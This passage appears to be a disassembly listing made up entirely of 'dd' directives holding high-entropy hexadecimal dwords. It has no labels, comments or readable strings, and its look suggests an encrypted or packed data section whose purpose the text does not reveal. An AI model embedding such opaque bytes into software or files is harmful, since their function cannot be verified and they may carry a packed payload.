0AC8F9D25h, 895338Eh, 1780264Bh, 8B2FF764h, 7E6CB916h dd 34BF984Bh, 0D9B3ABD4h, 297CD297h, 1BE99C01h, 0ED51EB7Ch dd 1DB3D200h, 0BC164AA8h, 0E9074027h, 44D7A05Bh, 794EC0B0h dd 0DD09287Ah, 0E678E784h, 0F7073C94h, 9B32E377h, 0F2C58AE0h dd 62D55CB7h, 0AD07DBA0h, 27B602F3h, 37B1E341h, 95E06FC3h dd 2E2F1346h, 70290279h, 64410B1Fh, 8123B68h, 8433F3AAh dd 91539C68h, 2F37839Eh, 5E46BF76h, 7878920Dh, 51E0117Fh dd 0A2D0E0F9h, 0A3809D53h, 652D3A61h, 80CA0120h, 0BCB1E908h dd 0F829172Dh, 187B438h, 330A4E60h, 0B1FC20E9h, 68565901h dd 0ECF0B97h, 638C8260h, 0D3F71A51h, 2057E02Fh, 164DB24Ah dd 0FA897E74h, 1BDE6EE4h, 375C01DFh, 6FF12920h, 83E5BFEDh dd 3A036696h, 5172B3BFh, 0EBFED219h, 0EC5AF9D6h, 0D437C25h dd 40F1C53h, 51F0008Fh, 0D9F64FB1h, 9490C9F6h, 7A4E8074h dd 0A4883BFh, 822A94C9h, 16A2C39Bh, 0E2BCAB76h, 0CF65F73Ch dd 0C81AADBFh, 0AC7D7CB8h, 0EB9631D8h, 14477F1Bh, 8258E9BBh dd 0DE32CBE9h, 7F8482D7h, 0D188025Ch, 3E200DAh, 0E9433805h dd 0C2BCF355h, 581A5675h, 0FAB5DC68h, 54D19D3Bh, 0E009B4C5h dd 97C2F8BFh, 0E970C17Eh, 9DF25126h, 0CC3F0801h, 0A543BD2Fh dd 123E8AFAh, 0EC08C201h, 0AA288Bh, 2C6639D2h, 0CB499FBDh dd 57314425h, 0ACE9ED30h, 0A5B8464Bh, 2CE2EB92h, 499E9B4h dd 40D97E65h, 0A258F0B8h, 9D48C001h, 2EF8012Fh, 2205C430h dd 7908290Ch, 803A883Fh, 7C65514h, 7FCE129Eh, 75EC01C2h dd 11031A44h, 31D82186h, 3BF4F1F0h, 68C9883Fh, 665E410Eh dd 7C03727Eh, 0C4EE49E1h, 0E9A3AB12h, 17C4BBA0h, 0DC188827h dd 0EC8041B3h, 0F2E8E070h, 47E0D9BFh, 0F71DD2F9h, 4AC3EFE8h dd 3403C705h, 0E8A2D909h, 13DC3F10h, 0E8BD69B2h, 0BF36FC7Bh dd 0BA13DDC5h, 0F620D5E1h, 123F6662h, 0EA0961FFh, 0BB627F2h dd 3E2725E9h, 7F055D92h, 58F45FD0h, 0B03B709Ah, 14A898BDh dd 0F213C3F1h, 0EE904E7Bh, 49461980h, 0C4084E64h, 0F0714C4h dd 2E54C100h, 0E901522Bh, 0B8606A91h, 4103E6Bh, 16E95125h dd 0E5C8EEC3h, 76B3E023h, 26F17626h, 8DEBBBFh, 3117D18Dh dd 2BB06805h, 0D8F64B00h, 67218B9Ah, 60C27CDAh, 2909B00Dh dd 4A30D54Bh, 512C2A05h, 0BEA29479h, 0CEC548AAh, 94EDFA79h dd 7AFCADBCh, 0A141B312h, 31C30BB8h, 0A8FB5CDEh, 14FB482h dd 7659E581h, 0EA27CF43h, 2F2C4E12h, 0C3F606B7h, 9DB05001h dd 2F282EE9h, 9E02044Ch, 58568531h, 2E88240h, 0BDFE927h dd 0DA8EDDEDh, 0F8888E41h, 7E4AC35Bh, 174C44A3h, 265E9901h dd 2E19E914h, 0D929F4C1h, 0AF4F8D76h, 4AEC8628h, 44C9FE77h dd 74E7AAE7h, 0DE5452A7h, 606EDFA5h, 9B386C9Dh, 95316F5h dd 3B7F6EBFh, 0F903D9F2h, 51837A78h, 41DA2EB5h, 10C6F3CAh dd 7A115058h, 0AF253A96h, 81D3A8FCh, 67B73C5h, 0B7F5D83Fh dd 27099FE0h, 0A25F9BE9h, 0F2E25DEh, 4F40AB4Bh, 530CE180h dd 6094B652h, 34735E22h, 5224FE93h, 6BDDABFh, 51CBC380h dd 2DB1B046h, 4BE42B15h, 2E036817h, 0E9F176BCh, 5CD689Ah dd 4649B0BBh, 5B64E281h, 615E33Fh, 5AED3594h, 0E5E201E4h dd 0D1E913D3h, 5E4979A8h, 12071CF8h, 0E4668602h, 0E112BA82h dd 4A50A6FAh, 2591D544h dd 23CBBA00h, 55002982h, 0C559ACBDh, 0DEEA2176h, 7BC9F724h dd 695CCA02h, 241951DDh, 2ED902A1h, 88E00F6Ch, 193B39D8h dd 48C6026Ah, 754CF66Bh, 19E82396h, 0F7561C0Bh, 0EA48FFD5h dd 0EA1649EDh, 0B7088263h, 2F9F28D9h, 36444A7Ah, 0D1E4F77Dh dd 81080EC6h, 624A182Ch, 51F80C5Ch, 0DF9EEF25h, 1D16D301h dd 8092AF84h, 3295D00h, 0D810A30Dh, 204D211Bh, 0FAB04C01h dd 342F0A8Bh, 6C5EB10Ch, 0DD532448h, 944FC132h, 3AC2E96Eh dd 8DFE9013h, 1AAD2BA3h, 444FA117h, 13E7EA70h, 0E330FC71h dd 0B46FF2F9h, 4EBF6CF4h, 0AF45B68Bh, 795F11E2h, 8BA79F8Fh dd 83577847h, 8076CE06h, 27E9178Eh, 0D2C66FE6h, 6467BA20h dd 17B30C42h, 0C0FC54EBh, 10F2EB26h, 3850482Eh, 19B84A46h dd 53850527h, 5ED3EF2Dh, 6778F5Bh, 5136790h, 39221FE7h dd 28D89F53h, 1150F907h, 12AD558Ch, 0E3F96809h, 2BBA002Bh dd 0E937BD7Dh, 0BA629FF6h, 0C9E65975h, 690258EAh, 0EC7DAADBh dd 3A06412Fh, 9205EDF8h, 0FF718719h, 0C4FB6812h, 1320E80Ah dd 90BD568Ch, 2B6CD0Bh, 0F5F400D7h, 67356ED0h, 0A2940C3Ch dd 0C2404E97h, 932420F6h, 5185E2Ah, 4136112h, 7DE98FEFh dd 88939890h, 207DE84Ch, 0B457483Ah, 28592300h, 5BB0BF7Ch dd 31266302h, 5E14E9EFh, 0F668055Ch, 888D6167h, 700AC559h dd 7A142367h, 20DE05ABh, 0E4681346h, 0F360EE4Ch, 412FE952h dd 71162F31h, 5AC5DE07h, 92802245h, 5832A74Dh, 0E9390D44h dd 10FA925Ah, 5E38427Dh, 6680709h, 66750B4Eh, 58D007C7h dd 0F8F254Dh, 408302Ah, 0D3E877E9h, 0D5B9F8D3h, 0C051291Eh dd 4077552Dh, 0FD88BD4Fh, 937A2507h, 5524EABFh, 0B83E3953h dd 765CE9FCh, 0B8988A61h, 70551215h, 0EF40CA87h, 2779015Ch dd 20EAC658h, 5D12DB53h, 800E8D1h, 64C45E78h, 3792A047h dd 7E1F000Ah, 0C07BEB81h, 0E9125D45h, 92AD4EEDh, 4A00D2B4h dd 0E82824DDh, 0E04F04A8h, 710E76DCh, 0D6C1201Eh, 69C6E709h dd 74D8EBA9h, 0F6435D53h, 15893E38h, 2E83CB01h, 49BA5FDAh dd 970403E1h, 40EB0606h, 321D0B08h, 2D054057h, 4286097Ah dd 94AF55Ah, 0C42AF62Bh, 0E495EFEBh, 53BB4413h, 0ECD4AEF8h dd 29078DEFh, 8CF05E9Bh, 5CF94058h, 0A3684DC2h, 1524C35h dd 0AAC0789Dh, 6F3990E9h, 552FAD91h, 3A142A77h, 0B1047E1Fh dd 0E10E4B47h, 16BC6AD0h, 6E87F701h, 0DC4F4A3Ah, 0B5026BEFh dd 0DB68FE78h, 25EC5D65h, 0F51C6C08h, 18C2694Dh, 0D85F0C05h dd 0FA2CE9BCh, 4AE8D9Eh, 0C0B759A5h, 48F93826h, 0D6E0DB7h dd 0E23FE721h, 555CC54Fh, 7B6269FFh, 73C600B1h, 94E909F8h dd 5B2542F8h, 0FA2A495Eh, 672FFEC5h, 0DCDEB776h, 0D77288B4h dd 3D345A98h, 0DED28F5h, 0CA529E99h, 0B053C3DDh, 265492Dh dd 0E94810FAh, 6EE6B807h, 45EFE9Dh, 0FB44F643h, 8E2A940h dd 97688025h, 0BF6A9151h, 742D7F1Dh, 0EB5612E5h, 1DBAC5B4h dd 0AF8E10DFh, 0D7FEB609h, 0D3EE025h, 2134091Ah, 5E005DE8h dd 13CC3506h, 33B4786Fh, 4FCBE221h, 5E106800h, 0A8466797h dd 68426C6h, 2428512Bh, 916490BCh, 0A3EE4547h, 67420EA9h dd 88005004h, 8310D76Eh, 497A01C1h, 1314EFE8h, 30CDF982h dd 7EF161ECh, 31AA178Bh, 0EEA57589h, 64991Ch, 2FE2E16h dd 0FEEC960Ch, 0A7D3E575h, 82B7BC4Ch, 29738D47h, 0C29302F7h dd 4071F2h, 44E36857h, 799C3123h, 9395669h, 5F01071Ch dd 2F1736E9h, 0E0FB1334h, 28050528h, 2D0E5A34h, 18980781h dd 8FF2CA61h, 16119407h, 39F573E9h, 0BF2E0530h, 0BD7163E6h dd 0B0895E80h, 14263466h, 8F08FBA9h, 5122439h, 0ABFEE37Fh dd 21AC2365h, 275F8DB3h, 0FB4A2EFCh, 2E5D610Ch, 0EC3EE7CEh dd 2159A098h, 0EB1C5E47h, 4B2ACC3Dh, 0A3507675h, 0EADFC4BDh dd 686680C9h, 0AF75FC2Dh, 7E4BAB77h, 2FCAA0EAh, 8E543987h dd 35FF97Bh, 53C6EB74h, 9E196A58h, 3ED33BC8h, 4BF8F100h dd 480149FAh, 1A7C85DAh, 0F068032Bh, 89ED30C0h, 6BAB4804h dd 1180DDF7h, 61141EE9h, 74F63E27h, 0C7B03A2Eh, 13591F4Bh dd 50F20226h, 63405169h, 0A2CDACAh, 0C200E7B1h, 0B401A78Dh dd 302327E9h, 0BB88D0D1h, 46FC2FE5h, 4656F48Eh, 1844D57h dd 410B4925h, 4CF95BE9h, 8A4021ECh, 77B20952h, 0C80F280h dd 0E2C05CC2h, 0DBA50450h, 8BE92609h, 0A70E6h, 4BA47D90h dd 54D4CE81h, 0E96C5305h, 0CFBD075Ah, 0FF526013h, 0FEF0F029h dd 0A618D30Fh, 68C06121h, 0A37A7F53h, 0B18E04C1h, 0C1EA3007h dd 55169D47h, 9194FBCAh, 7E32E8ABh, 1F5E559h, 0C2D429B8h dd 9061898Ch, 185EFC78h, 75323217h, 5A18BE27h, 82088228h dd 8F00D09h, 44C103B8h, 0C0D96898h, 0E936FD0h, 27F28940h dd 6C8C67Eh, 0F6810201h, 75F821C2h, 73C9EC6Fh, 6826A309h dd 0DFBD8051h, 9F2AC5F4h, 0E9F7FC48h, 6D86B032h, 60D05FC1h dd 9316089Eh, 8BFF97C4h, 86277F50h, 5A8BF4EFh, 8911F657h dd 1C7F6BD9h, 496870A8h, 0DB10626Dh, 97387A95h, 3CEF5B48h dd 73B7EB2Dh, 31354D1Bh, 30BE3A59h, 0CD68512Fh, 8EED36E1h dd 4140F2E9h, 2D382FB9h, 0BAFDF451h, 40FCBFA4h, 0FB186878h dd 2F78F173h, 7EF90FEDh, 0E232F44Bh, 45FD7A39h, 9DC5A8CEh dd 0F520D95Eh, 77090E40h, 0DA1829F2h, 863E00D1h, 0CF01B625h dd 0E1899699h, 0C4645CFEh, 9258BDEBh, 60FE0C85h, 0E855E935h dd 49BC5AD7h, 0D27FF41Ch, 1E1225h, 3690CE16h, 4E487327h dd 6F3F062Eh, 2C3A7A29h, 5187A312h, 2B95F15Bh, 0E7FF7A12h dd 0EC2C8935h, 0F7B907EDh, 2426C12Ah, 693081E1h, 40D6A4FBh dd 0B7080903h, 0A97EDA12h, 73CCF8CDh, 0F60407C0h, 0B9EE80D6h dd 1468C690h, 610C27B3h, 680100Eh, 0E7C0D4CFh, 5790607h dd 2801F709h, 4DEFD1FEh, 0C699FB54h, 68F5C2FCh, 0BD54532Fh dd 83D977DCh, 76B05FDAh, 0A0B715D4h, 6045E236h, 4551B707h dd 0EB6B1802h, 298D6019h, 0B8C65065h, 4A909F5h, 0EE50D090h dd 0DC33F225h, 6261501Eh, 4D2C597h, 0AA13B1E9h, 0FC2F61CDh dd 0C8277D8Fh, 0BF6F525Ch, 2909A87Ch, 0C3D5FEE8h, 262ED853h dd 9C10458h, 0FF2B1C5Fh, 48D9712Ch, 0A2D2DF27h, 970F206Bh dd 24DB955h, 5BC91878h, 0C216FA84h, 1DC999EDh, 0B997DCD6h dd 0C4F10FCFh, 0A90E539h, 27616EC6h, 88DF4AB7h, 4A30087Ch dd 44E8EBAh, 3FE91838h, 53DE907h, 722A2746h, 2D081A10h dd 0AA0CA25Bh, 0EB097418h, 6805AEF6h, 0B6314AE5h, 13582E9h dd 0C30AB1FBh, 64F3416Eh, 0D8D4487Fh, 0D0EE1EFh, 0D2292241h dd 1608BF10h, 3284BAE9h, 2DFC0C3h, 0B5B450D6h, 0CD4188B3h dd 5F4E639Ch, 137BBEE0h, 0BE64612Ch, 0EF5A6697h, 296EE989h dd 8C095771h, 0FE33467Dh, 167CEF51h, 39C72DF0h, 0D57D972Eh dd 45C207A0h, 0D6C8A5E9h, 55688385h, 85DA534Fh, 7EBDEF78h dd 5DC80FB4h, 0D1F2BA13h, 1BD55686h, 6959CE2Dh, 0DD3B5E21h dd 9CB83F09h, 6E3493B1h, 1998EB24h, 5E562C68h, 0E95260D2h dd 0C3A8BFFAh, 201221E1h, 9D041B14h, 0F709FEF9h, 2F4C698Fh dd 691FCF66h, 0E71D1624h, 2DDD3341h, 0DC42DFF7h, 7E146194h dd 31A45688h, 2C58304h, 8504E2BBh, 3B990D5Bh, 10AEA9A6h dd 0EBB650DBh, 31BF4B16h, 0A05E9ABCh, 963D4E84h, 0E9C60448h dd 0AA407C2h, 7B13702Ch, 0C5EE4AC8h, 24F6EA02h, 0ECBB34Eh dd 53B1489Ah, 0E88B46D8h dd 0F13B5F45h, 75D03C64h, 204CF300h, 3AE94E6Dh, 0B9DD9739h dd 0D311142Ch, 879B45DDh, 0F88F7550h, 0EAC00F7Fh, 9E4E405h dd 816120FFh, 3F1677C9h, 91F163FBh, 0A815ABDCh, 1DDDE7A7h dd 816B9B07h, 716D8CCFh, 0BDC74074h, 0F467CD99h, 0E2D4E946h dd 285F35AEh, 0E2811411h, 3EAA9D7Ah, 3837B020h, 822A4B88h dd 88BEA51h, 0B570F0DCh, 0F8719D28h, 0E93F3B5Bh, 5F7804Fh dd 323D3516h, 0A66125Dh, 31EBDBD0h, 6134580Ch, 10EC005Ah dd 2D55C718h, 13B33F05h, 40FA21E5h, 0E308364Dh, 0CD4F31AFh dd 26825EEh, 0D461B116h, 0DB2E3CDCh, 0DF105D1Ah, 0FB5F1B92h dd 0E945C1F6h, 559D9D65h, 24641B9Ch, 0FA8AD79Ch, 25BEE4C1h dd 15144404h, 8F105B68h, 4ABF1A10h, 5E730EA0h, 6EAF8CB4h dd 53193643h, 0F27D72B3h, 0F603570Bh, 66995AB7h, 1A812E31h dd 0CA7BDC27h, 20EC5AAFh, 0BC2DA3C1h, 1F923A11h, 76C04007h dd 947C942Ch, 0EA80F702h, 16C044C6h, 0FFF20128h, 0E95E0880h dd 50AADF2Eh, 0AB647D5Ah, 5660B1B6h, 3E3A1F68h, 0CDC97725h dd 55DEF70Ah, 0CBB02E2h, 4D5342Ch, 0DF80217Fh, 5DE6684Eh dd 9A81E50Fh, 7BD11050h, 8B2DE501h, 83E074Dh, 0F18FD551h dd 1E933FB4h, 43028752h, 0C1923E47h, 0AD30F74Ah, 0BB1B4E08h dd 10C44177h, 0FA8E42BAh, 9275875Fh, 77E629D8h, 0E2F24DC4h dd 8208074Dh, 4AE019E9h, 0C3E0C0AFh, 8C7FEFEFh, 4362B2EFh dd 7D78E76Bh, 9CC27493h, 6525E85Ch, 0B068C13Eh, 0C1E13C16h dd 61D85AFFh, 0AC3A4AF4h, 0B071099Ah, 7A0025C0h, 42726BC9h dd 0EB410498h, 0E2DCA888h, 7BBDD62Dh, 581802B2h, 0BED19D75h dd 3E296841h, 7A7377C2h, 0DD62F026h, 40305F5Bh, 0BDB6C6E5h dd 10A5D5EBh, 68A4F1B4h, 542C1052h, 0DB26A848h, 7E33A899h dd 5EF1270Ch, 2246BA53h, 8294B431h, 1A120DE3h, 15B0417Fh dd 0AD974472h, 0F9B1102Eh, 0AB755F25h, 429FDC5Fh, 7BD533D7h dd 57599F06h, 6F8BB188h, 2F689028h, 0E632658Eh, 89D60E42h dd 713A148Bh, 0F4BE8D35h, 19842ABAh, 3A47DF01h, 873E8165h dd 95792257h, 52B5282h, 91FABE03h, 5CE88FF6h, 0B2ECBA7Dh dd 8B5F95C5h, 4EAD94D3h, 47D7FB51h, 25202740h, 0D131285Ch dd 0A32969F8h, 0D7C58BF5h, 0EF936447h, 0E06841E0h, 6F5EB467h dd 630102A0h, 136257E9h, 0AF75374Fh, 5932A412h, 0D4B8CCFAh dd 19573E04h, 0EEF9F001h, 4E70F58Fh, 0CA1FADB9h, 0BA3D1728h dd 54805584h, 0F2BF972Ch, 0F5DCB701h, 67DBF569h, 1BCFE986h dd 0F28E9551h, 3E347F61h, 0CBB544E7h, 0C8211A05h, 55E962ACh dd 68854B5Bh, 0A4E86DEEh, 0BAAAC3C5h, 7805F460h, 7FC5004Fh dd 180C5D2Dh, 0D87C012Bh, 0E95707A0h, 0F19FC473h, 7BA96F0Eh dd 0B56847C0h, 5AA37753h, 2D5FC2A0h, 5809353Ah, 192F108h dd 0E97C90F3h, 0F6F642D4h, 0DCC20BFFh, 6D7E58ABh, 584027BCh dd 9B6B7A68h, 9C7A2536h, 34AD054Eh, 0A27F9575h, 4416E05Ch dd 75C5B2Ah, 0D2D0011Ch, 68FE8FCCh, 0AEDBD5E9h, 0D558C742h dd 3D983196h, 5D4B7169h, 7B2D8C87h, 0CA629ACAh, 5C8632A3h dd 0D3F601C0h, 5B6606A0h, 27C7FE3Fh, 0D2637FCFh, 74E90C17h dd 0E84EF9ACh, 8390A592h, 58ECB050h, 0E9125188h, 29FEC16Fh dd 62346EEBh, 0F7162C81h, 9E48A93Fh, 169718CDh, 0D9B0A16Bh dd 660E97A7h, 2D41A987h, 29E01D9Ch, 41C8B0D8h, 74E902B4h dd 9820F62h, 86A4215Fh, 0C0A6E2FDh, 0CDFE5DC5h, 545A34E9h dd 0AE258241h, 921F9B57h, 3EBF0002h, 23073B5Eh, 575FFD09h dd 1DACF90h, 0E35BB56Ch, 9511A03Fh, 0F3AE2902h, 0D859040Bh dd 5DEB52D2h, 70A68D40h, 65E7025Bh, 186C9EC4h, 66AD72h dd 0E7812353h, 261E6462h, 13E9470Bh, 0B9ED6840h, 0A5228228h dd 0DD5E4C97h, 7E36044Fh, 0B0BAE094h, 0AD17BE5Bh, 144A6686h dd 930B8353h, 0E1C457ABh, 8F6BBA31h, 4503C630h, 42FF808Ch dd 404A6C0Ch, 0D7CCABA1h, 76142DE9h, 0C6F76A2h, 0FE1EC67Fh dd 0FFA27FAFh, 136AA36Fh, 9EB8864h, 467FE6C4h, 3A9D22D2h dd 0DA3C772Fh, 35271317h, 58CABA76h, 5F053C20h, 0FB36850h dd 0E10089A3h, 5E711E1Bh, 303ACE81h, 0D1288B2Dh, 0D84F6BEEh dd 12A400Ah, 57B95115h, 0F0397D18h, 3AF42CE1h, 431085Ch dd 27F0F6EEh, 9FF905AEh, 0A6E3BB8Dh, 0A3BE7B98h, 55BD1B19h dd 0AB75073Ch, 31850B7Ah, 820220DDh, 973221E7h, 0D97587E2h dd 0A83CEC82h, 5CDA11BDh, 4D5F0A6Bh, 9BB542FBh, 607380FFh dd 940DECE9h, 0CCCC696Dh, 0D910C42Fh, 136D89B8h, 7F7A4D7Eh dd 0C24893F9h, 0D8485C2Dh, 6681864Ch, 82CE9061h, 426978A0h dd 84C07D38h, 0A095D28Eh, 5C62D085h, 0EE0CD61Dh, 71C2AA59h dd 109DE67Bh, 2E7E30E8h, 42282278h, 0D80B4463h, 268095B1h dd 0A511CAB3h, 0BB39DF97h, 0E7D509E9h, 0EE4F6B38h, 0F4BCA421h dd 8701B266h, 29736D1Ch, 0B1D5FFF1h, 0B6CF082h, 1B13A42Eh dd 0F4051E3Bh, 0D8B786Fh, 8E964C10h, 7A886F32h, 0BB4940F4h dd 0CF0DD70Bh, 5F58806Fh, 411F04h, 3B65F581h, 1CE97527h dd 39B4A04Dh, 83C61CF0h, 0EE8707BCh, 9FBED5F7h, 7F08F55Bh dd 38792C70h, 0C1F601EAh, 440B6E11h, 54E1AEB8h, 0C9D70CA5h dd 0E2349B1Ah, 5E44C95Dh, 20DEA0D5h, 98216339h, 0F7B00938h dd 986B118h, 0C9EC2F19h, 5E0C2B67h, 24529C2h, 0D9D1EE89h dd 0C08368AFh, 0CAB0BF42h, 1B91C289h, 9130156Ah, 2E08E0C0h dd 1FF7B652h, 789C4BF0h, 0C1D5C14Ah, 0BC2B75EFh, 56AC81A9h dd 1C957021h, 277BAFCAh, 39C65BEFh, 75A53EB1h, 0C55DEF8Bh dd 2A9F08C1h, 3F56843Eh, 0CE806787h, 50AE2F52h, 7FD39065h dd 56480137h, 0B9351DBEh, 0E8A1544Fh, 25E917E3h, 7B47FE5Fh dd 21A26C18h, 7AF58CFh, 7FA54F60h, 0D80E85E9h, 0FE41C8ADh dd 0CD62EC3Eh, 0BB9E1796h, 0C2B64958h, 0C7927D6h, 0EF8BE102h dd 7A58272Fh, 0DA0B19BEh, 0D1012669h, 79C40BA9h, 24517C29h dd 42B5F16Bh, 486AE0D3h, 2A66C61h, 4AF97509h, 0D900AD48h dd 31252A5Ch, 0D7E095EAh, 0A52F63A6h, 1CAD678h, 2C729ECBh dd 0E0F28212h, 774F3018h, 0F1AFE8A5h, 0D4CEADE7h, 0C5E9F832h dd 5D27D44Bh, 75A52F82h, 73259914h, 0D136184Ch, 0A0B5EDh dd 296E2B55h, 8F2E2ECh, 8F1C572Ch, 4198391Dh, 55AD734h dd 2102F805h, 0AC4AE2Ch, 555F070Bh, 62261CE5h, 3FCC1D43h dd 74CAC6CDh, 0E9E388D2h, 1CD60959h, 0D740650Dh, 1EBF3517h dd 290C2D95h, 3ED3807Fh, 0F3424F20h, 2694BB04h, 0C00C0B18h dd 3B4A097Bh, 0AFD68758h, 24F47752h, 0C13FDE82h, 65E65023h dd 80451456h, 7AE93725h, 8090019Fh, 0F8E028F7h, 7E7C97BFh dd 0FDC75DC9h, 8073C0A7h, 73DB273Eh, 0C2C0E077h, 0CC3A0203h dd 1CB9E942h, 32791457h, 0E27788BCh, 511EE3DDh, 14DB8407h dd 0C608F30Ah, 2549E90Bh, 34312599h, 7D4EDF07h, 96ABEA25h dd 29311D78h, 2C206969h, 94C98428h, 6805D9D8h, 15C46D6Bh dd 879402AEh, 84FDA103h, 0F6AA9D92h, 3BC8403Ah, 4BF5E09h dd 7B785F49h, 0F320DE07h, 6C0A6815h, 56B1020Bh, 8E5C49BCh dd 69187F25h, 82D2D363h, 18608E2Dh, 200B978Ah, 213EF7Fh dd 9068E9F7h, 0E1AD06D1h, 618A3320h, 25C5EA01h, 48453B76h dd 5B1BF9E8h, 0D0D1DF58h, 50C02267h, 3118430Ch, 0C1F20888h dd 0F7770BCEh, 0C25FCD01h, 9BEC7598h, 4BED915Ah, 51505300h dd 0E58054B5h, 0E4FCCB4Bh dd 5B7FED1Dh, 84E504D5h, 0CBE4EA79h, 82C65201h, 0AE956C1h dd 78A32E07h, 891242CEh, 8CB28314h, 0F12A186Bh, 1A80EADAh dd 6858C328h, 0CBA8710Bh, 0AB9E05B8h, 38D69B87h, 0A2D15529h dd 2C155D13h, 4C68C352h, 0CD411705h, 84390C6h, 0AC9D2F6h dd 7B540006h, 0BF7EE4E9h, 8101AD20h, 507521F3h, 8D0C7F60h dd 0CB105F27h, 0FD540A68h, 0E2924BCFh, 6444DDC3h, 8F6C51BFh dd 0A8F6D24Ch, 0DC798B66h, 0CEBB407Fh, 3B4FE50Eh, 38062ABEh dd 4F3489BAh, 0BF85FF6Eh, 0C242AF42h, 555FDCE9h, 0A54F4171h dd 44FA0913h, 5388466Eh, 3F54D1FBh, 0A4FB3C29h, 4A8BE6FFh dd 0ABA935FBh, 5F274EE6h, 247AB1F7h, 0E05D5902h, 1266957Ch dd 0B3C0E68h, 185CCF9Fh, 44991380h, 17B30558h, 0F40B237Dh dd 753AA217h, 0EC0775FEh, 31C856A6h, 938458E5h, 0F71263CBh dd 0D98509D7h, 523D7C94h, 0B05080B2h, 7E8C088h, 4C86BFEh dd 56086ADDh, 31DD49B9h, 1044B0CFh, 9E056D1h, 2CC38100h dd 66413712h, 0AEE5C5EBh, 0F09D5949h, 9581B20Bh, 1594395Dh dd 40D4B375h, 9756B6D1h, 0E0D42628h, 7D4A65FCh, 0D8A55CB9h dd 0F1275089h, 0CAB855FEh, 314FA368h, 6A324230h, 64415CDBh dd 77C3C786h, 54239E81h, 9A648239h, 11F53787h, 0ED2CF359h dd 0D429A2F7h, 5312357Ah, 9004E55h, 11326E73h, 0E9520B47h dd 65D7EC4Ah, 30E941EEh, 8343AA2h, 0D3348AEBh, 3A97B7AAh dd 0D4AD4E5Ch, 0B27BE982h, 5269665Ch, 0D06C9584h, 65B4495Fh dd 92DDEE5Dh, 824050E7h, 31608216h, 64EE92C1h, 6F02D0BEh dd 8987BECBh, 0C45A57C6h, 3CF82F34h, 0F91D7DF8h, 7058645Bh dd 9E4A86E9h, 8B1791E6h, 0EA8D34DEh, 182695E0h, 0B3374156h dd 0E92D515Fh, 0F6DA6285h, 4585CF82h, 0A332AE67h, 21B1526Eh dd 0FEA743F2h, 834F44B5h, 0EC98819Dh, 11648253h, 6A18879Ah dd 0CA83C5F2h, 0E91AF8F7h, 222C263Eh, 0C6661C25h, 0D9468037h dd 0DB5081F9h, 5BC868DAh, 313DDEF7h, 333810EEh, 90E82819h dd 0F5BA0411h, 12CAE82Dh, 0C60930BAh, 45F708C7h, 0EFC00174h dd 3EACE907h, 0D9AA5585h, 937A66ACh, 9668F2AEh, 929588FBh dd 0DFC5912h, 0A6725700h, 5EE9F203h, 6E48A1F3h, 8184EDEh dd 84B28AC4h, 0F7A833B1h, 9D54ED40h, 5758C46Ch, 1C124FC2h dd 5118CEDAh, 1AC123C9h, 750C0517h, 84850BFh, 0EEE4D275h dd 11F0CF29h, 0A5D2ABDDh, 0F53ABD09h, 0A5BC54E5h, 5612FD34h dd 8081F146h, 5ADEFE4Bh, 0D35B62h, 957339BFh, 48C0B48h dd 75F927AFh, 0BE6583A1h, 3424AA00h, 81760FF0h, 4A8532CAh dd 0F743BF0Ah, 0EA0588C6h, 54E36001h, 82209619h, 0FE1FC5E1h dd 30B469F5h, 0C3019551h, 1B133967h, 0DE31BB86h, 0DD2BEA92h dd 0D6A8ECEEh, 0EE80C3A0h, 0E67F4573h, 0E161F6ECh, 61E98206h dd 0B195023Eh, 75D428C8h, 76FCD409h, 9406BA6h, 446B281Fh dd 0F8E35D60h, 6A661806h, 9FA24085h, 0D81E1ECh, 9C77FA5Ah dd 35DE2FA1h, 93242347h, 0D3F8D00Ch, 2C7BE2EFh, 0CD38D5h dd 76869C1Fh, 0F99DCF01h, 67314855h, 0BB001856h, 5EE13EF4h dd 27D37C31h, 225FDFB6h, 7F8CC0DCh, 0D320D067h, 24A6F0B7h dd 0A608A0E9h, 0C1EA0960h, 13D047F7h, 7E61BC54h, 3DFBC54Ah dd 9ED23F76h, 82DE5DEAh, 0FC90900h, 93D44F84h, 95532A9Dh dd 5E2F79F9h, 7170870h, 0C4AEB916h, 3BBBA109h, 0F55A3CCBh dd 2B77C990h, 5F811DA3h, 2F294E4Ah, 0C0C5F7B2h, 2FA240D1h dd 810CD412h, 3F12F377h, 200196Fh, 896B18B6h, 0E2BA08E9h dd 0AFBBFFFEh, 9A61D84Ch, 0F282B727h, 0A6D801E9h, 1658592Dh dd 0A53354E2h, 0EEE14471h, 35D1DEBFh, 0DDE1FE0Ch, 27E9FC18h dd 0E47B728Fh, 395293BDh, 0EC7AB49h, 295B7671h, 7D05E2A6h dd 604BA251h, 0C04724DEh, 428BCD7Fh, 0FBB04B3Bh, 7C5ED09Dh dd 0C6E7013Fh, 0E937B764h, 0B8243B03h, 8335081h, 7645EBEFh dd 0A35F9545h, 285A4F97h, 7793F616h, 0E2801C66h, 0B1EACE2Ch dd 0E987EBC1h, 0F1166A2Bh, 20BDB1E8h, 75824F51h, 0B7400E12h dd 0F78820CBh, 3D25EEBEh, 77812D8Ah, 0F8293BC3h, 0EC074405h dd 8C2DC061h, 4A02296Dh, 0E31FB05h, 40575E5h, 14C198D3h dd 9BA5104Ah, 6208CA5Eh, 0F8B168C5h, 0A22EC441h, 0C95F0E29h dd 0F778E983h, 18D257D4h, 1CF9893Bh, 0A09DBACEh, 87EA1ABh dd 212D0764h, 50447635h, 0D3E6D42Ch, 0E91AC6F2h, 7F4AD9C8h dd 0F80280B9h, 0CFB4531Dh, 32D58249h, 0E1022B96h, 0B501D1D9h dd 0B2FC53C5h, 0F6FE58F5h, 5DDAFED3h, 0A355EC5Ah, 0CDD44F28h dd 0CADDEAFBh, 0C68A41D7h, 1F105222h, 0E281010Fh, 45AC352Ah dd 7F84A1EDh, 836CB252h, 0BD96D0Eh, 0E32D8384h, 0DC0F1DC2h dd 0A7F8CAC0h, 0A9635A59h, 5FE510E7h, 0CCA43025h, 0F37AC821h dd 0EFB26FEEh, 12A2BD04h, 298054B5h, 4E4AED62h, 841CD8ABh dd 21E6D16h, 128A6C02h, 0F204C0D3h, 0BC7609D9h, 6480421Ch dd 77B4DB8h, 0AA0923B8h, 8419661Dh, 89041EF2h, 6103EEF3h dd 7F025B54h, 0B820B70h, 7D084AB0h, 0CEC70DD1h, 0C4467AF4h dd 12B52DF0h, 0ABBD55EBh, 10BFE6A1h, 0A9375997h, 0F5E71078h dd 29CBBD05h, 358204AFh, 5C6802F0h, 447E5619h, 0E42C8155h dd 0D35D92F4h, 57FF2E16h, 2DD2A1ABh, 5257C050h, 2C01BC68h dd 5A156C12h, 